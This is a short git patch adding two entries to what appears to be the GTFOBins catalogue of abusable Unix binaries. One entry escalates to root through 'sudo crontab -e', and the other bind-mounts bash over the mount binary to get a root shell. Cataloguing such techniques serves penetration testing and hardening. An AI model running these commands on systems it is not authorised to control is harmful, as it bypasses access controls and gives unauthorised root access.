From 85b99ce89fec809ad7dc48ef173b0ad8b8f37241 Mon Sep 17 00:00:00 2001 From: kk Date: Mon, 16 Jul 2018 10:00:14 +0200 Subject: [PATCH] added crontab and mount --- _gtfobins/crontab.md | 7 +++++++ _gtfobins/mount.md | 8 ++++++++ 2 files changed, 15 insertions(+) create mode 100644 _gtfobins/crontab.md create mode 100644 _gtfobins/mount.md diff --git a/_gtfobins/crontab.md b/_gtfobins/crontab.md new file mode 100644 index 0000000..c431725 --- /dev/null +++ b/_gtfobins/crontab.md @@ -0,0 +1,7 @@ +--- +functions: + sudo-enabled: + - description: edit root's crontab and run arbitrary commands as root. + code: | + sudo crontab -e +--- diff --git a/_gtfobins/mount.md b/_gtfobins/mount.md new file mode 100644 index 0000000..d76c4ff --- /dev/null +++ b/_gtfobins/mount.md @@ -0,0 +1,8 @@ +--- +functions: + sudo-enabled: + - description: bind mount bash to the mount binary, as mount is sudo enabled. + code: | + sudo mount -o bind /bin/bash /bin/mount + sudo mount +---